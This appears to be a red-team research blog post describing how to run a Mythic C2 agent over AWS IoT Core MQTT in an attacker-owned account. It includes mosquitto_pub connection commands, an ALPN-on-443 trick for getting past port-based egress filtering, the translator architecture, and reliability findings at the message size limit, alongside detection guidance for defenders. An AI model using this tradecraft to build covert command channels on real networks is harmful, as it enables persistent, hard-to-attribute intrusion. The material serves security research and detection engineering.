Amazon's IoT Core provides managed MQTT pub/sub for device fleets, authenticated with X.509 client certificates. Built so a million sensors can hold a persistent connection to a broker, this managed service contains properties that transform it into durable command and control infrastructure. This research demonstrates techniques for running a full C2 agent over IoT Core MQTT, and documents what a C2 stack does at the service's message size limit, where the agent, the translator and the client library between them turn a documented rejection into a channel that goes quiet without reporting anything.
The Architecture of Abuse
One thing to fix before any of this makes sense: whose account is the broker in?
This post describes the attacker-account case. You provision the thing, the certificate and the policy in infrastructure you own, and the agent on the target connects out to your broker. That matters for everything downstream, because the victim cannot enable logging on a broker they do not own, cannot see the thing registry, and cannot revoke your certificate. Their entire detection surface is the network and the endpoint.
The other case, where you steal a device certificate and ride the victim's own broker, is a different technique with a much richer defensive story: their logging, their topic rules, their registry, their certificate ARN. Nothing below is written for that case.
One thing that makes this less exotic than it sounds. ATT&CK separates registering your own account on a web service (T1583.006) from taking over someone else's (T1584.006). The first lists 28 procedure examples, the second lists five. Bringing your own account, which is what this post does, is the dominant real-world pattern rather than a clever edge case.
The identity is a certificate, not a token, and that single fact is the difference between this and a tunnel.
Provision a thing, a certificate and a policy, and the agent connects with mutual TLS:
mosquitto_pub -i <namespace>-probe --cafile <ca>.pem --cert <cert>.pem --key <key>.pem -h <prefix>-ats.iot.<region>.amazonaws.com -p 8883 -t <topic> -m <payload>
Port 8883 is the obvious choice and often the wrong one. IoT Core also accepts MQTT on 443 through ALPN, which clears port-based egress filtering. It does not clear inspection: the ALPN value is visible to anything reading the ClientHello.
The same publish on 443, carrying the ALPN protocol name IoT Core expects:
mosquitto_pub -i <namespace>-probe -p 443 --tls-alpn x-amzn-mqtt-ca --cafile <ca>.pem --cert <cert>.pem --key <key>.pem -h <prefix>-ats.iot.<region>.amazonaws.com -t <topic> -m <payload>
Prerequisites and Assumptions
Two things have to be true before any of this applies, and the technique supplies neither.
What you need first:
- Code execution on the target host. This is a rendezvous technique, not an initial-access one
- Your own AWS account, since the thing, the certificate and the policy are provisioned there
- A way to place the certificate and its private key on the target, because the credential here is a file rather than a token
Tested:
- A Mythic 3.x team server with a Poseidon agent, on Linux, against an IoT identity in the operator's own account, in July 2026
- A packet capture taken on the target showing traffic only to
<prefix>-ats.iot.<region>.amazonaws.comon 8883, and zero packets to the team server's address. That capture is the evidence behind what this post later says is and is not visible to the target: no operator-hosted machine in the flow, and the account-bound endpoint FQDN plainly present in it - File download and file upload over MQTT, three of three runs each
- Process listing, which returned 27 rows and needed a regex filter to stay under the 128 KB publish limit. That is the cliff described later arriving on an ordinary enumeration task rather than on a large file transfer
Not tested:
- Behaviour on Windows or macOS. Only Linux was exercised
- Behaviour on your own client library and version. The silent teardown described later is what this stack did, not something the service promises, and the failure mode moves with the MQTT version, the library and the QoS setting
- Anything about the victim-owned-broker case, which is a different technique with a different defensive story
Making a C2 Framework Speak MQTT
MQTT as a C2 protocol is not new ground and it is not theoretical. It has been documented in the wild since April 2017, when Lookout found it in Chrysaor. ESET's MQsTTang, IBM X-Force's WailingCrab, Copybara, DroidBot and the IOCONTROL OT implant all use it, and the Android banking family in that list is the busiest part of the corpus rather than an outlier. In every one of those cases the broker is a public third-party broker or one the adversary stood up themselves.
What has no public in-the-wild reporting is the shape this post describes: provisioning a MANAGED cloud IoT broker, in your own account, as the rendezvous. The public precedent for that is Sukoshi, a proof of concept on AWS IoT Core in 2022 with Terraform on 443. Sukoshi already provisioned the broker in the researcher's own account, so that property is prior art and not a difference here. Two things are: an existing C2 framework is bolted on through a translation container instead of a purpose-built implant, and the message size limit gets measured rather than assumed.
A C2 framework does not speak MQTT, and it does not need to. The pattern that works is a translation container: your framework talks its own protocol to the translator, the translator talks MQTT to AWS, and the agent on the target talks MQTT back. Neither end of the C2 ever addresses the other directly.
The technique:
- Stand up the translator alongside your team server, holding the certificate and subscribing to the agent's topics.
- Build the agent with an MQTT profile and the same namespace prefix.
- Let the broker join them. The agent publishes to a
txtopic, the translator publishes back onrx.
Example: the agent's IoT policy scopes iot:Connect to client/<namespace>-*, so client ids outside that prefix are refused at connect time. That is why both commands above pass -i: mosquitto_pub otherwise invents a client id like mosqpub|<pid>-<host>, which the policy rejects at connect with nothing useful in the error. A packet capture from the target shows traffic to <prefix>-ats.iot.<region>.amazonaws.com and no packets at all to the team server's address, because there is no route between them to capture.
Network Traffic Obfuscation
The observable properties of an MQTT C2 session:
- Mutual TLS to
*-ats.iot.<region>.amazonaws.com, an Amazon endpoint with an Amazon certificate - Port 443 with ALPN
x-amzn-mqtt-ca. This gets you through port-based egress rules, not past inspection: ALPN and SNI both travel in the clear in the ClientHello, andx-amzn-mqtt-cadoes not look likeh2orhttp/1.1to anything that bothers to read them - A long-lived connection with periodic keep-alives, which is exactly the shape a real device presents
- Client-certificate authentication, so there is no bearer token in a header. The keypair on disk is the credential instead, and it is copyable
- No operator-hosted machine anywhere in the capture, though the account-specific endpoint FQDN is itself attacker-controlled and reportable
The certificate is the durable part. Where a tunnel dies on a twelve-hour clock, a certificate carries a notAfter measured in years. The credential outlives the connection; the connection itself expires like any other MQTT client's, subject to persistent-session limits and a queue cap.
Operational Advantages
The beauty of this technique is that the target's own network telemetry points at Amazon and stops there. Your team server is not in the flow. A defender who pulls the PCAP, resolves the destination and looks up the owner finds AWS, and there is no operator-hosted machine behind it to pivot to, because the broker is the rendezvous. That is not the same as leaving nothing behind. The data endpoint's <prefix> is specific to one AWS account and region, so the FQDN sitting in that capture is a durable indicator that a defender can block, hunt retrospectively, and report to AWS. Treat it as burnable infrastructure with a takedown path, not as anonymity.
You also get a credential model that survives what usually kills a channel. There is no token to expire mid-operation, no refresh to fumble, no session ceiling to plan around.
The credential is the certificate AND its private key, both sitting on the target, and anyone who lifts the pair uses it exactly as you do. Access also ends in several ordinary ways that are not revocation: the certificate's own notAfter, deactivating it, detaching or narrowing the policy, or account-level controls. What you have is a credential measured in years instead of hours, not one that cannot be taken away.
The cost: a certificate on the target and a translator on your side. More moving parts than a tunnel, and more to go wrong. What you buy with that complexity is duration.
Detection Engineering Challenges
The data plane is thinner than the control plane, but not empty. IoT Core V2 logging covers Connect, Publish and Disconnect with metadata including client id, source IP and principal, which is more than enough to find this if it is switched on. What it does not carry is payload bodies, which is not the same as privacy. TLS terminates at the broker, so AWS holds your plaintext, and on a victim-owned broker a topic rule forwarding to CloudWatch, S3 or Kinesis captures full payloads. There is no IoT-logging setting that yields payloads; a rule is the mechanism. What the broker's own logs give a defender is the fact of the session, not its contents, and only where logging was enabled at all.
From the network, this is TLS to an Amazon endpoint holding open the way a managed device holds open, which is the traffic pattern the service exists to produce. The shape is not the giveaway. The name is: SNI carries the *-ats.iot hostname and, on 443, the ALPN carries x-amzn-mqtt-ca, both in the clear. Where AWS IoT Core is not in approved use, anyone reading either field has the finding. Where it is, both fields are routine, and the work shifts to matching the endpoint against an inventory of approved ones rather than alerting on the protocol. The reason this works in practice is that most egress policies check the port and stop.
Where you can catch it is the same place as always: the endpoint. A certificate and private key on disk that belongs to no known device. A process maintaining an MQTT session on a workstation that is not a sensor. The client id prefix, if you happen to be collecting it. All of that is host telemetry, and none of it is network telemetry.
Split that by whose broker it is, because the advice is not the same.
Against the attacker-account case this post describes, the broker is not yours and never will be. You get no IoT logs, no registry, no certificate to revoke. Detection is the endpoint and the name on the wire, and that is the whole list.
If the concern is a stolen device certificate riding your own broker, you have far more: enable IoT Core V2 logging, alert on client ids outside your provisioning convention, watch for a certificate connecting from an address range no device of yours occupies, and remember you can deactivate the certificate or detach its policy unilaterally.
The 128 KB Cliff
The limit is documented, and under MQTT 5 so is the failure: the broker advertises a Maximum Packet Size in CONNACK and an oversized publish is a protocol error with a DISCONNECT reason code. Under MQTT 3.1.1 there is no such channel, and that is where this gets expensive.
AWS caps an MQTT message at 128 KB and documents that oversized publishes are rejected. Most of what happens next belongs to your stack, not to AWS.
What the agent and the translator do not do is chunk around the cap or truncate. Neither has a size check. So an oversized payload goes out as one publish, and on a Poseidon agent over paho against this translator, what follows is not a catchable error: the connection goes away. Whether you see a clean rejection, a DISCONNECT with a reason code, or a bare teardown depends on your MQTT version, your client library and your QoS, so measure your own stack rather than assuming this one.
Two consequences are squarely your framework's, not the broker's. The cap applies to the encoded message, so a payload that base64s twice on the way out hits the limit around 73,000 bytes of actual file rather than 128,000, and that figure moves with your serialization. And a task can be left non-terminal indefinitely, looking like a slow transfer rather than a failed one, because nothing in the chain marks it failed.
A rejected publish is not redelivered by the broker, so whatever is looping is on your side.
Two candidates, and they need different fixes. The translator may be reprocessing an unacknowledged request at the application layer and republishing it. Or the MQTT client library may be doing it underneath: a QoS 1 publish that never got its PUBACK sits in paho's inflight store and is retransmitted with DUP set on reconnect when clean_session=False. Establish which one you have before trying to fix it.
Either way the loop does not clear on its own, and because the translator is shared it degrades every agent behind it rather than only the one you tasked.
Work well under the limit, split anything large before it moves, and treat a task that stops progressing as a size event rather than a slow link. Measure the final serialized packet in your own stack rather than trusting a byte figure from someone else's.
Implications for Red Teams
This technique provides properties a tunnel cannot:
- A channel bounded by certificate validity rather than a session clock
- Client-certificate identity with no bearer token to steal or expire
- Traffic on 443 to a major cloud endpoint with no operator-hosted server in the capture, though the account-specific endpoint FQDN is itself an indicator
- Pub/sub semantics, so an agent that drops can reconnect and resume. Read the bounds before relying on it: IoT Core does not support QoS 2, so the only durable option is QoS 1, and persistent sessions expire on their own, an hour by default and extendable to days rather than indefinitely, with a cap on how much is queued. An agent offline overnight on defaults resumes nothing
Weigh it against the cost: more infrastructure than a tunnel, a hard message ceiling, and a failure mode at that ceiling that is silent on your side.
Takeaways
AWS IoT Core MQTT gives an operator a certificate-authenticated channel that outlives the operation, carried on the port every network permits, terminating at an endpoint that belongs to Amazon rather than to you. The target's packet capture contains no operator-hosted server, because there is none in the path. It does contain the account-specific data-endpoint FQDN, which is attacker-controlled infrastructure by any useful definition and is reportable to AWS.
Organisations should establish whether they use AWS IoT Core specifically, since that answer determines whether an *-ats.iot connection is routine or is the whole finding, and note that Secure Tunneling rides a different endpoint so its use does not make this one routine, and should look for the certificate on the host rather than the connection on the wire. The assumption this breaks is that long-lived access needs a long-lived server of your own. The credential lasts years and the endpoint sits in Amazon's namespace, so there is no host of yours in the flow to seize. What replaces it is an AWS account: the data endpoint is bound to that account, the certificate is revocable, and an abuse report gives a defender a route to take both away. The dependency moved rather than disappeared, and it is worth planning for which one you would rather lose.
This technique was developed during authorized security research in a dedicated lab account. It should only be used during sanctioned engagements with explicit written authorization. Know your local laws and obtain permission before testing.
As of this writing, the silent-teardown behaviour described here is specific to MQTT 3.1.1, which has no protocol-level way to report an oversized publish. MQTT 5 specifies both an advertised maximum packet size and a DISCONNECT reason code for exceeding it. What your stack surfaces depends on the version, the client library and the QoS.
The managed-broker shape above has no in-the-wild reporting as of August 2026, and its one public precedent, Sukoshi, is dormant. That gap has a known half-life. Praetorian presented Ghost Calls, C2 through web-conferencing TURN relays, in August 2025; by December 2025 a DragonForce affiliate was running a backdoor over Microsoft Teams TURN relays, which Symantec attributed to that research by name and called the first such abuse seen in the wild. Four months. Detection for what follows is better built now than after the reporting exists.
References
- AWS. AWS IoT Core service quotas and limits.
- AWS. MQTT in AWS IoT Core.
- AWS. X.509 client certificates for IoT authentication.
- AWS. AWS IoT Core policy variables and connect policies.
- MITRE ATT&CK. T1071.005 Application Layer Protocol: Publish/Subscribe Protocols.
- MITRE ATT&CK. T1572 Protocol Tunneling.
- AWS. Device communication protocols, MQTT over 443 with ALPN.
- shogunlab. Sukoshi: a proof-of-concept MQTT C2 over AWS IoT Core, 2022.
- MITRE ATT&CK. T1583.006 Acquire Infrastructure: Web Services.
- MITRE ATT&CK. T1584.006 Compromise Infrastructure: Web Services.
- ESET. MQsTTang: Mustang Panda's latest backdoor treads new ground with Qt and MQTT, 2023 (the URL and title still say Mustang Panda; ESET reattributed MQsTTang to CeranaKeeper on 20 July 2025).
- Lookout. Pegasus for Android: Technical Analysis and Findings of Chrysaor, April 2017.
- Cleafy Labs. DroidBot: Insights from a new Turkish MaaS fraud operation, 2024.
- Zscaler ThreatLabz. Technical Analysis of Copybara, 2024.
- Praetorian. Ghost Calls: Abusing Web Conferencing for Covert Command & Control, 2025.
- Symantec Threat Hunter Team. Hidden in Teams: DragonForce Attackers Weaponize Microsoft Teams Relays to Stay Hidden, June 2026.
- Hacker Hermanos. When Azure Relay Becomes a Red Teamer's Highway.